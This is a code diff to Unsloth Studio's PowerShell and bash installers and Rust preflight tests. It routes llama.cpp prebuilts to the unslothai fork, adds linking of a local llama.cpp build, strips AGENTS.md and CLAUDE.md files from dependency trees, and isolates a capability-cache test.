-# on ggml-org (the fork ships no windows-cpu bundle). Mirrors setup.sh's routing.
-# A resolved gfx arch counts as a GPU host even when $HasROCm is false (Adrenalin
-# driver only, no HIP runtime): the fork's per-gfx bundle ships its own runtime,
-# so route there instead of ggml-org / a CPU build.
-$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) { "unslothai/llama.cpp" } else { "ggml-org/llama.cpp" }
+# Every host installs the fork's app-* prebuilts now: GPU Windows (CUDA / ROCm)
+# already did, and the fork now also ships the CPU bundles for Windows x64 and
+# arm64 (windows-cpu / windows-arm64). ggml-org artifacts are no longer used by
+# default. Mirrors setup.sh's routing.
+$HelperReleaseRepo = "unslothai/llama.cpp"
 $LlamaPr = if ($env:UNSLOTH_LLAMA_PR) { $env:UNSLOTH_LLAMA_PR.Trim() } else { "" }
 
 $LlamaPrForce = if ($env:UNSLOTH_LLAMA_PR_FORCE) { $env:UNSLOTH_LLAMA_PR_FORCE.Trim() } else { $DefaultLlamaPrForce }
@@ -3158,7 +3220,87 @@ if ($LlamaPr) {
     $SkipPrebuiltInstall = $true
 }
 
-if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
+$LocalLlamaCppLinked = $false
+$LocalLlamaCppSrc = $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR
+if ($LocalLlamaCppSrc) {
+    if (-not (Test-Path -LiteralPath $LocalLlamaCppSrc -PathType Container)) {
+        step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $LocalLlamaCppSrc" "Red"
+        exit 1
+    }
+    $ResolvedLocal = (Resolve-Path -LiteralPath $LocalLlamaCppSrc).Path
+    # Reusing a local dir disables both the prebuilt download and the source
+    # build, so a runnable llama-server.exe must already be present. Accept any
+    # layout LlamaCppBackend._layout_candidates() resolves (root-level, build\bin,
+    # or build\bin\Release) so the flag never rejects a tree Studio could run.
+    $LocalLlamaServerFound = $false
+    foreach ($_cand in @(
+            (Join-Path $ResolvedLocal "llama-server.exe"),
+            (Join-Path $ResolvedLocal "build\bin\llama-server.exe"),
+            (Join-Path $ResolvedLocal "build\bin\Release\llama-server.exe"))) {
+        if (Test-Path -LiteralPath $_cand) { $LocalLlamaServerFound = $true; break }
+    }
+    if ($ResolvedLocal -eq $LlamaCppDir) {
+        # Points at the canonical install location itself: never delete-then-link
+        # onto itself. Reuse an existing build here (skip prebuilt + source) so the
+        # staged prebuilt installer can't replace a build the user asked to reuse;
+        # if nothing is built yet, fall through to the normal install.
+        if ($LocalLlamaServerFound) {
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" "Yellow"
+            $LocalLlamaCppLinked = $true
+            $NeedLlamaSourceBuild = $false
+        } else {
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" "Yellow"
+        }
+    } else {
+        # Fail clearly rather than junction an unbuilt or wrong-platform checkout
+        # and leave Studio with no usable binary.
+        if (-not $LocalLlamaServerFound) {
+            step "llama.cpp" "no llama-server.exe under $ResolvedLocal (looked for .\llama-server.exe, .\build\bin and .\build\bin\Release) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "Red"
+            exit 1
+        }
+        # If the target is already a junction/symlink (e.g. a previous
+        # --with-llama-cpp-dir run), delete only the link via DirectoryInfo.Delete().
+        # Remove-Item -Recurse -Force on a reparse point can traverse the link and
+        # wipe the user's real llama.cpp directory on PowerShell 5.1. Dropping the
+        # stale link here also keeps the custom-home ownership check below idempotent.
+        # Use Get-Item -Force (not Test-Path): a *broken* junction whose target was
+        # moved/deleted makes Test-Path return false, which would leave the dangling
+        # link in place and make mklink below fail; Get-Item still resolves it so we
+        # can remove it and relink to a new valid directory.
+        $existing = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue
+        if ($existing -and ($existing.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) {
+            $existing.Delete()
+        }
+        if ($StudioHomeIsCustom) {
+            Assert-StudioOwnedOrAbsent -Path $LlamaCppDir -Label "llama.cpp install"
+        }
+        if (Test-Path -LiteralPath $LlamaCppDir) {
+            Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue
+            # A locked/in-use tree can silently survive removal (SilentlyContinue
+            # masks it). Don't then junction/copy over a half-present dir; mirror the
+            # prebuilt path's active-process handling and stop with a clear message.
+            if (Test-Path -LiteralPath $LlamaCppDir) {
+                step "llama.cpp" "install blocked by active llama.cpp process" "Yellow"
+                substep "Close Studio or other llama.cpp users and retry" "Yellow"
+                exit 3
+            }
+        }
+        cmd /c "mklink /J `"$LlamaCppDir`" `"$ResolvedLocal`"" 2>&1 | Out-Null
+        if ($LASTEXITCODE -ne 0) {
+            substep "Could not create directory junction; copying instead..." "Yellow"
+            Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir
+            Remove-AgentInstructionFiles -Roots @($LlamaCppDir)
+        }
+        Write-Host ""
+        step "llama.cpp" "linked local directory: $ResolvedLocal"
+        $LocalLlamaCppLinked = $true
+        $NeedLlamaSourceBuild = $false
+    }
+}
+
+if ($LocalLlamaCppLinked) {
+    # local directory linked above; skip prebuilt install
+} elseif ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
     Write-Host ""
     substep "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt llama.cpp install" "Yellow"
     $NeedLlamaSourceBuild = $true
@@ -3182,11 +3324,13 @@ if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
                 # treat a valid ROCm install as mismatched. A name-inferred gfx
                 # arch (Adrenalin-only, no confirmed runtime) still counts as
                 # ROCm-capable -- the ROCm prebuilt bundles its own runtime,
-                # mirroring the --rocm-gfx forward below. NOTE: this block is
-                # currently inert -- write_prebuilt_metadata does not persist an
-                # install_kind key, so $existingKind is always null. If that changes,
-                # add the remaining host kinds (e.g. windows-arm64) before relying on it.
-                $expectedKinds = if ($HasROCm -or $script:ROCmGfxArch) { @("windows-rocm", "windows-hip") } elseif ($HasNvidiaSmi) { @("windows-cuda") } else { @("windows-cpu") }
+                # mirroring the --rocm-gfx forward below. The CPU branch covers both
+                # the x64 windows-cpu and arm64 windows-arm64 bundles (Windows arm64
+                # has no GPU prebuilt). NOTE: this block is currently inert --
+                # write_prebuilt_metadata does not persist an install_kind key, so
+                # $existingKind is always null; keep $expectedKinds in sync with the
+                # kinds install_llama_prebuilt.py installs before relying on it.
+                $expectedKinds = if ($HasROCm -or $script:ROCmGfxArch) { @("windows-rocm", "windows-hip") } elseif ($HasNvidiaSmi) { @("windows-cuda") } else { @("windows-cpu", "windows-arm64") }
                 if ($existingKind -and ($existingKind -notin $expectedKinds)) {
                     substep "Removing mismatched llama.cpp install (found '$existingKind', need one of: $($expectedKinds -join ', '))..."
                     Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue
@@ -3368,7 +3512,8 @@ if (Test-Path -LiteralPath $LlamaServerBin) {
 
 # Install build tools now (last resort) rather than eagerly in Phase 1, so the
 # prebuilt path stays fast. Same condition as the if/elseif chain below: a source
-# build runs only when needed and no usable binary is already present.
+# build runs only when needed and no usable binary is already present. A linked
+# local dir sets $NeedLlamaSourceBuild = $false, so this no-ops for that path.
 $WillBuildLlamaFromSource = $NeedLlamaSourceBuild -and `
     -not ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master")
 if ($WillBuildLlamaFromSource) {
@@ -3377,7 +3522,13 @@ if ($WillBuildLlamaFromSource) {
     $HasCmakeForBuild = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
 }
 
-if (-not $NeedLlamaSourceBuild) {
+if ($LocalLlamaCppLinked) {
+    # Local dir linked above -- honor the flag's contract: skip BOTH the prebuilt
+    # download and the source build. Falling through here would run CMake inside
+    # the user's checkout (via the junction) when it lacks build\bin\Release\llama-server.exe.
+    Write-Host ""
+    step "llama.cpp" "linked (skipping build)"
+} elseif (-not $NeedLlamaSourceBuild) {
     Write-Host ""
     step "llama.cpp" "prebuilt (validated)"
 } elseif ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") {
@@ -3904,6 +4055,16 @@ if (-not $NeedLlamaSourceBuild) {
     }
 }
 
+$llamaCppItem = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue
+$llamaCppIsLink = $llamaCppItem -and ($llamaCppItem.Attributes -band [System.IO.FileAttributes]::ReparsePoint)
+if (-not $llamaCppIsLink -and (
+        -not $StudioHomeIsCustom -or
+        (Test-Path -LiteralPath (Join-Path $LlamaCppDir $StudioOwnedMarker) -PathType Leaf) -or
+        (Test-StudioOwnedAdoptable $LlamaCppDir)
+    )) {
+    Remove-AgentInstructionFiles -Roots @($LlamaCppDir)
+}
+
 # ─────────────────────────────────────────────
 # Footer
 # ─────────────────────────────────────────────
@@ -3925,7 +4086,9 @@ if ($script:StudioVtOk -and -not $env:NO_COLOR) {
     }
     Write-Host "  $Rule" -ForegroundColor DarkGray
 }
-step "launch" "unsloth studio -H 0.0.0.0 -p 8888"
+step "launch" "unsloth studio -p 8888"
+substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
 Write-Host ""
 
 # Match studio/setup.sh: exit non-zero for degraded llama.cpp when called
diff --git a/studio/setup.sh b/studio/setup.sh
index 43ec9fe7b9..3d67db3da7 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -74,6 +74,16 @@ verbose_substep() {
     return 0
 }
 
+_remove_agent_instruction_files() {
+    local _root
+    for _root in "$@"; do
+        [ -d "$_root" ] || continue
+        [ -L "$_root" ] && continue
+        find "$_root" \( -type f -o -type l \) \( -name 'AGENTS.md' -o -name 'CLAUDE.md' \) \
+            -exec rm -f {} + 2>/dev/null || true
+    done
+}
+
 # ── Corporate-mirror / proxy escape hatch for the frontend npm/bun install (#6491) ──
 # studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a supply-chain
 # lock. A project-level pin overrides a corporate user's ~/.npmrc proxy, so the install
@@ -847,6 +857,10 @@ elif [ -d "$_OXC_DIR" ] && [ "${NODE_SOURCE:-}" != skip ]; then
     substep "OXC validator runtime skipped (no npm found); code validation degrades until Node is available" "$C_WARN"
 fi
 
+_remove_agent_instruction_files \
+    "$SCRIPT_DIR/frontend/node_modules" \
+    "$_OXC_DIR/node_modules"
+
 # ── Python venv + deps ──
 
 [ -d "$REPO_ROOT/.venv" ] && rm -rf "$REPO_ROOT/.venv"
@@ -947,6 +961,23 @@ print(version(sys.argv[1]))
     if [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ] && [ "$INSTALLED_VER" = "$LATEST_VER" ]; then
         step "python" "$_PKG_NAME $INSTALLED_VER is up to date"
         _SKIP_PYTHON_DEPS=true
+        # A pre-#6483-fix install can be stuck on anyio>=4.14 even though
+        # $_PKG_NAME itself is current; the fast path above would otherwise
+        # never reach install_python_stack's anyio repair (#6797).
+        if "$VENV_DIR/bin/python" -c "
+import re, sys
+from importlib.metadata import version, PackageNotFoundError
+try:
+    parts = version('anyio').split('.')
+    major = int(parts[0])
+    minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0
+except (PackageNotFoundError, ValueError, IndexError):
+    sys.exit(1)
+sys.exit(0 if (major, minor) >= (4, 14) else 1)
+" 2>/dev/null; then
+            substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..."
+            _SKIP_PYTHON_DEPS=false
+        fi
     elif [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ]; then
         substep "$_PKG_NAME $INSTALLED_VER -> $LATEST_VER available, updating..."
     elif [ -z "$LATEST_VER" ]; then
@@ -1159,63 +1190,19 @@ _REQUESTED_LLAMA_TAG="${UNSLOTH_LLAMA_TAG:-${_DEFAULT_LLAMA_TAG}}"
 _HOST_SYSTEM="$(uname -s 2>/dev/null || true)"
 _HOST_MACHINE="$(uname -m 2>/dev/null || true)"
 
-# Pick the release repo install_llama_prebuilt.py plans against.
-# The fork ships CUDA (Linux x64/arm64, Windows), ROCm (Linux/Windows) and
-# macOS bundles. Only the plain CPU/Vulkan bundles still come from ggml-org, so
-# CPU-only Linux (x86_64 and arm64) routes there; GPU Linux, Windows and macOS
-# use unslothai.
-_LINUX_HAS_GPU=false
-# Route to the fork only for a usable GPU. NVIDIA counts only when a device is
-# actually enumerated and not hidden via CUDA_VISIBLE_DEVICES=""/-1
-# (_setup_nvidia_usable, from _setup_has_usable_nvidia_gpu above) -- mirroring
-# install_llama_prebuilt.py's has_usable_nvidia. Mere nvidia-smi presence
-# (CPU-only CUDA-toolkit containers, broken drivers) or a hidden GPU therefore
-# takes the ggml-org CPU prebuilt instead of a slow source build. AMD is
-# deliberately left on tooling presence, not usability: an unusable NVIDIA host
-# has a good CPU prebuilt to fall back to, whereas tightening AMD would regress
-# ROCm hosts exposing only hipconfig/hipinfo into an unnecessary CPU build.
-if [ "$_setup_nvidia_usable" = true ]; then
-    _LINUX_HAS_GPU=true
-else
-    for _GPU_TOOL in rocminfo amd-smi hipconfig hipinfo; do
-        if command -v "$_GPU_TOOL" >/dev/null 2>&1; then
-            _LINUX_HAS_GPU=true
-            break
-        fi
-    done
-fi
+# Pick the release repo install_llama_prebuilt.py plans against. Every host this
+# installer supports now pulls its llama.cpp prebuilt from the unslothai fork: it
+# ships the CUDA (Linux x64/arm64, Windows), ROCm (Linux/Windows) and macOS
+# bundles, plus the CPU bundles for Linux/Windows on both x86_64 and arm64.
+# ggml-org artifacts are no longer used by default.
+_HELPER_RELEASE_REPO="unslothai/llama.cpp"
 # UNSLOTH_ROCM_GFX_ARCH may be set on a host where no probe fired, so the override
 # nested in the AMD-detected branch above never ran and _setup_gfx is still empty.
-# Honour it here so the routing guard below and the --rocm-gfx forwarding both see
-# it (install_llama_prebuilt.py reads the same env var as the --rocm-gfx default).
-if [ "$_setup_nvidia_usable" != true ] && [ -z "${_setup_gfx:-}" ] && [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
+# Honour it here so the --rocm-gfx forwarding below still sees it
+# (install_llama_prebuilt.py reads the same env var as the --rocm-gfx default).
+if [ "${_setup_nvidia_usable:-}" != true ] && [ -z "${_setup_gfx:-}" ] && [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
     _setup_gfx="${UNSLOTH_ROCM_GFX_ARCH}"
 fi
-# A resolved/forwarded gfx arch (UNSLOTH_ROCM_GFX_ARCH) means an AMD GPU even when
-# no ROCm tooling is on PATH; route it to the fork so the per-gfx prebuilt is
-# picked instead of ggml-org / a source build.
-if [ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]; then
-    _LINUX_HAS_GPU=true
-fi
-
-if [ "$_HOST_SYSTEM" = "Linux" ] \
-        && [ "$_HOST_MACHINE" = "x86_64" ] \
-        && [ "$_LINUX_HAS_GPU" = false ]; then
-    _HELPER_RELEASE_REPO="ggml-org/llama.cpp"
-elif [ "$_HOST_SYSTEM" = "Linux" ] \
-        && { [ "$_HOST_MACHINE" = "aarch64" ] || [ "$_HOST_MACHINE" = "arm64" ]; } \
-        && [ "$_LINUX_HAS_GPU" = false ]; then
-    # CPU-only Linux ARM64 (Ampere Altra, Raspberry Pi 5, GitHub
-    # `ubuntu-24.04-arm`, CPU-only Jetson rescue mode, ...). The fork ships no
-    # arm64 CPU bundle, so without this branch the prebuilt resolver returns 0
-    # attempts and the installer falls back to a source build. ggml-org ships
-    # llama-bNNNN-bin-ubuntu-arm64.tar.gz from at least b9072 onward.
-    _HELPER_RELEASE_REPO="ggml-org/llama.cpp"
-else
-    # GPU Linux (x64 CUDA/ROCm, arm64 CUDA), Windows (CUDA/ROCm), and macOS.
-    _HELPER_RELEASE_REPO="unslothai/llama.cpp"
-fi
-unset _GPU_TOOL
 _LLAMA_PR="${UNSLOTH_LLAMA_PR:-}"
 _SKIP_PREBUILT_INSTALL=false
 _LLAMA_PR_FORCE="${UNSLOTH_LLAMA_PR_FORCE:-${_DEFAULT_LLAMA_PR_FORCE}}"
@@ -1254,7 +1241,90 @@ fi
 
 verbose_substep "requested llama.cpp tag: $_REQUESTED_LLAMA_TAG (repo: $_HELPER_RELEASE_REPO)"
 
-if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then
+# GGUF export's check_llama_cpp() looks for a llama-quantize shim at the root of
+# the install dir, but a source build keeps the binary under build/bin/. Mirror
+# the source-build-reuse step and create the shim when the reused tree has one
+# but no root shim yet. Best-effort: the tree may be read-only (shared/CI cache),
+# and under `set -e` a failed ln would otherwise abort an good reuse.
+_link_local_llama_quantize_shim() {
+    if [ -x "$1/build/bin/llama-quantize" ] && [ ! -e "$1/llama-quantize" ]; then
+        ln -sf build/bin/llama-quantize "$1/llama-quantize" 2>/dev/null || \
+            substep "could not create llama-quantize shim in linked dir (read-only?); GGUF export may be unavailable"
+    fi
+}
+
+# Accept any layout LlamaCppBackend._layout_candidates() resolves so the flag
+# never rejects a tree Studio could actually run: a root-level llama-server (a
+# `make` build or a flat-extracted release) or the CMake build/bin/llama-server.
+_has_local_llama_server() {
+    [ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]
+}
+
+_LOCAL_LLAMA_CPP_LINKED=false
+if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" ]; then
+    if [ ! -d "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" ]; then
+        step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $UNSLOTH_LOCAL_LLAMA_CPP_DIR" "$C_ERR"
+        exit 1
+    fi
+    _RESOLVED_LOCAL="$(CDPATH= cd -P -- "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" && pwd -P)"
+    # Canonicalize the install path the same way before comparing: _RESOLVED_LOCAL
+    # is fully resolved, but LLAMA_CPP_DIR is textual ($UNSLOTH_HOME/llama.cpp). If
+    # $HOME (or UNSLOTH_HOME) contains a symlink, the two never match even when the
+    # user pointed the flag at the canonical install itself -- and the rm -rf below
+    # would then wipe the very tree they asked to reuse. Resolve via the parent so
+    # this works whether or not the leaf currently exists.
+    _CANON_LLAMA_CPP_DIR="$LLAMA_CPP_DIR"
+    _LLAMA_CPP_PARENT="$(dirname "$LLAMA_CPP_DIR")"
+    if [ -d "$_LLAMA_CPP_PARENT" ]; then
+        _CANON_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_LLAMA_CPP_PARENT" && pwd -P)/$(basename "$LLAMA_CPP_DIR")"
+    fi
+    if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then
+        # Points at the canonical install location itself: never delete-then-link
+        # it onto itself. If a usable build is already there, reuse it and skip
+        # both the prebuilt download and the source build -- the prebuilt installer
+        # uses os.replace() and would otherwise clobber an existing source build at
+        # this path. If nothing is built there yet, fall through to the normal
+        # install so it gets built in place exactly as it would without the flag.
+        if _has_local_llama_server "$LLAMA_CPP_DIR"; then
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it"
+            _link_local_llama_quantize_shim "$LLAMA_CPP_DIR"
+            _LOCAL_LLAMA_CPP_LINKED=true
+            _NEED_LLAMA_SOURCE_BUILD=false
+            _SKIP_PREBUILT_INSTALL=true
+        else
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install"
+        fi
+    else
+        # Reusing disables BOTH the prebuilt download and the source build, so the
+        # linked tree must already contain a runnable llama-server in one of the
+        # layouts the backend resolves (root-level or build/bin/). Fail clearly
+        # rather than link an unbuilt or wrong-platform checkout and leave Studio
+        # with no usable binary.
+        if ! _has_local_llama_server "$_RESOLVED_LOCAL"; then
+            step "llama.cpp" "no llama-server under $_RESOLVED_LOCAL (looked for ./llama-server and ./build/bin/llama-server) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "$C_ERR"
+            exit 1
+        fi
+        # A stale link from a previous --with-llama-cpp-dir run isn't Studio-owned
+        # content; drop it before the ownership check so re-runs stay idempotent
+        # for a custom UNSLOTH_STUDIO_HOME (the assert would otherwise follow the
+        # link into the user's dir and reject it as unowned).
+        [ -L "$LLAMA_CPP_DIR" ] && rm -f "$LLAMA_CPP_DIR"
+        if [ "$_STUDIO_HOME_IS_CUSTOM" = true ]; then
+            _assert_studio_owned_or_absent "$LLAMA_CPP_DIR" "llama.cpp install"
+        fi
+        rm -rf "$LLAMA_CPP_DIR"
+        ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"
+        _link_local_llama_quantize_shim "$LLAMA_CPP_DIR"
+        step "llama.cpp" "linked local directory: $_RESOLVED_LOCAL"
+        _LOCAL_LLAMA_CPP_LINKED=true
+        _NEED_LLAMA_SOURCE_BUILD=false
+        _SKIP_PREBUILT_INSTALL=true
+    fi
+fi
+
+if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then
+    : # local directory linked above; skip prebuilt install
+elif [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then
     step "llama.cpp" "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt" "$C_WARN"
     _NEED_LLAMA_SOURCE_BUILD=true
 elif [ "${_SKIP_PREBUILT_INSTALL:-false}" = true ]; then
@@ -1839,19 +1909,19 @@ else
 fi  # end _SKIP_GGUF_BUILD check
 
 # ── arm64 Linux GPU: CPU prebuilt as a last resort ──
-# arm64 Linux with a GPU has no CUDA prebuilt anywhere (the unslothai fork is
-# x64 only; ggml-org ships no Linux CUDA build), so it source-builds for the
-# GPU above. If that produced no binary, install ggml-org's arm64 CPU prebuilt
-# instead of leaving the host without llama.cpp.
+# An arm64 Linux GPU host source-builds for the GPU above. If that produced no
+# binary, install the fork's arm64 CPU prebuilt (app-<tag>-linux-arm64-cpu.tar.gz)
+# instead of leaving the host without llama.cpp. --cpu-fallback drops the GPU
+# attributes so the CPU bundle is selected rather than re-attempting CUDA.
 if [ "$_LLAMA_CPP_DEGRADED" = true ] \
         && [ "$_HOST_SYSTEM" = "Linux" ] \
         && { [ "$_HOST_MACHINE" = "aarch64" ] || [ "$_HOST_MACHINE" = "arm64" ]; }; then
-    substep "GPU source build unavailable; trying ggml-org arm64 CPU prebuilt..."
+    substep "GPU source build unavailable; trying arm64 CPU prebuilt..."
     _ARM64_CPU_CMD=(
         python "$SCRIPT_DIR/install_llama_prebuilt.py"
         --install-dir "$LLAMA_CPP_DIR"
         --llama-tag "$_REQUESTED_LLAMA_TAG"
-        --published-repo "ggml-org/llama.cpp"
+        --published-repo "unslothai/llama.cpp"
         --cpu-fallback
     )
     # Trust the installer's exit code: it validates the server before exiting 0,
@@ -1863,6 +1933,14 @@ if [ "$_LLAMA_CPP_DEGRADED" = true ] \
     fi
 fi
 
+if [ ! -L "$LLAMA_CPP_DIR" ] && {
+    [ "$_STUDIO_HOME_IS_CUSTOM" != true ] ||
+        [ -f "$LLAMA_CPP_DIR/$_STUDIO_OWNED_MARKER" ] ||
+        _studio_owned_adoptable "$LLAMA_CPP_DIR"
+}; then
+    _remove_agent_instruction_files "$LLAMA_CPP_DIR"
+fi
+
 # ── Footer ──
 if [ "$_LLAMA_ONLY" = "1" ]; then
     echo ""
@@ -1897,8 +1975,8 @@ else
     else
         printf "  ${C_DIM}%-15s${C_OK}%s${C_RST}\n" "launch" "unsloth studio -p 8888"
     fi
-    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 to allow network / cloud access)"
-    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
 fi
 echo ""
 
diff --git a/studio/src-tauri/src/preflight.rs b/studio/src-tauri/src/preflight.rs
index 5a48d26632..7ef5244754 100644
--- a/studio/src-tauri/src/preflight.rs
+++ b/studio/src-tauri/src/preflight.rs
@@ -498,19 +498,68 @@ mod tests {
     }
 
     #[cfg(unix)]
-    fn remove_managed_capability_cache() {
-        let _ = std::fs::remove_file(
-            dirs::home_dir()
+    static MANAGED_CAPABILITY_CACHE_TEST_LOCK: std::sync::LazyLock<tokio::sync::Mutex<()>> =
+        std::sync::LazyLock::new(|| tokio::sync::Mutex::new(()));
+
+    #[cfg(unix)]
+    struct ManagedCapabilityCacheHome {
+        path: PathBuf,
+        previous: Option<std::ffi::OsString>,
+    }
+
+    #[cfg(unix)]
+    impl ManagedCapabilityCacheHome {
+        fn new(test_name: &str) -> Self {
+            use std::time::{SystemTime, UNIX_EPOCH};
+
+            let nanos = SystemTime::now()
+                .duration_since(UNIX_EPOCH)
                 .unwrap()
-                .join(".unsloth")
-                .join("studio")
-                .join("desktop_capability_cache.json"),
-        );
+                .as_nanos();
+            let path = std::env::temp_dir().join(format!(
+                "unsloth-preflight-cache-{test_name}-{}-{nanos}",
+                std::process::id()
+            ));
+            std::fs::create_dir_all(&path).unwrap();
+            let previous = std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME");
+            std::env::set_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME", &path);
+            Self { path, previous }
+        }
+    }
+
+    #[cfg(unix)]
+    impl Drop for ManagedCapabilityCacheHome {
+        fn drop(&mut self) {
+            if let Some(previous) = &self.previous {
+                std::env::set_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME", previous);
+            } else {
+                std::env::remove_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME");
+            }
+            let _ = std::fs::remove_dir_all(&self.path);
+        }
+    }
+
+    #[cfg(unix)]
+    fn managed_capability_cache_path_for_test() -> PathBuf {
+        std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME")
+            .map(PathBuf::from)
+            .or_else(dirs::home_dir)
+            .unwrap()
+            .join(".unsloth")
+            .join("studio")
+            .join("desktop_capability_cache.json")
+    }
+
+    #[cfg(unix)]
+    fn remove_managed_capability_cache() {
+        let _ = std::fs::remove_file(managed_capability_cache_path_for_test());
     }
 
     #[cfg(unix)]
     #[tokio::test]
     async fn managed_cli_capability_probe_classifies_core_cases() {
+        let _cache_guard = MANAGED_CAPABILITY_CACHE_TEST_LOCK.lock().await;
+        let _cache_home = ManagedCapabilityCacheHome::new("core-cases");
         remove_managed_capability_cache();
 
         for (name, script, stale_reason) in [
@@ -567,6 +616,75 @@ exit 1
         }
     }
 
+    #[cfg(unix)]
+    #[tokio::test]
+    async fn managed_cli_capability_help_probe_runs_before_cache() {
+        use std::fs;
+
+        let _cache_guard = MANAGED_CAPABILITY_CACHE_TEST_LOCK.lock().await;
+        let _cache_home = ManagedCapabilityCacheHome::new("cache-hit");
+
+        remove_managed_capability_cache();
+        // `-h` always succeeds unless `modeh` exists; the desktop-capabilities
+        // probe always succeeds unless `modecap` exists. Toggling those lets us
+        // prove the ordering: -h runs on every probe (even a cache hit), while
+        // the heavier capability probe is skipped once the cache is warm.
+        let fake = fake_cli(
+            "cap-cache-hit",
+            r#"#!/bin/sh
+log="$0.calls"
+modeh="$0.modeh"
+modecap="$0.modecap"
+printf '%s\n' "$*" >> "$log"
+if [ "$1" = "-h" ]; then
+  if [ -f "$modeh" ]; then exit 42; fi
+  exit 0
+fi
+if [ "$1" = "studio" ] && [ "$2" = "desktop-capabilities" ] && [ "$3" = "--json" ]; then
+  if [ -f "$modecap" ]; then exit 42; fi
+  printf '{"desktop_protocol_version":1,"desktop_manageability_version":1,"supports_api_only":true,"supports_provision_desktop_auth":true,"supports_desktop_backend_ownership":true,"version":"2026.5.3"}'
+  exit 0
+fi
+exit 1
+"#,
+        );
+        let bin = fake.bin.clone();
+        let calls = bin.with_extension("calls");
+        let modeh = bin.with_extension("modeh");
+        let modecap = bin.with_extension("modecap");
+
+        // Cold probe: runs -h and the capability probe, then caches the result.
+        assert!(matches!(
+            probe_managed_bin(bin.clone()).await,
+            ManagedProbe::Ready { .. }
+        ));
+        let first_calls = fs::read_to_string(&calls).unwrap();
+        assert!(first_calls.contains("-h"));
+        assert!(first_calls.contains("studio desktop-capabilities --json"));
+
+        // Cache hit: -h still runs, but the capability probe is skipped (breaking
+        // it via `modecap` proves it is not invoked).
+        fs::write(&modecap, "broken").unwrap();
+        fs::write(&calls, "").unwrap();
+        assert!(matches!(
+            probe_managed_bin(bin.clone()).await,
+            ManagedProbe::Ready { .. }
+        ));
+        assert_eq!(fs::read_to_string(&calls).unwrap(), "-h\n");
+
+        // A non-launchable CLI is caught by the -h probe even with a warm cache:
+        // preflight reports Stale (for repair) and never trusts the cache.
+        fs::write(&modeh, "broken").unwrap();
+        fs::write(&calls, "").unwrap();
+        assert!(matches!(
+            probe_managed_bin(bin).await,
+            ManagedProbe::Stale { .. }
+        ));
+        assert_eq!(fs::read_to_string(&calls).unwrap(), "-h\n");
+
+        remove_managed_capability_cache();
+    }
+
     const EXPECTED_ROOT_ID: &str =
         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
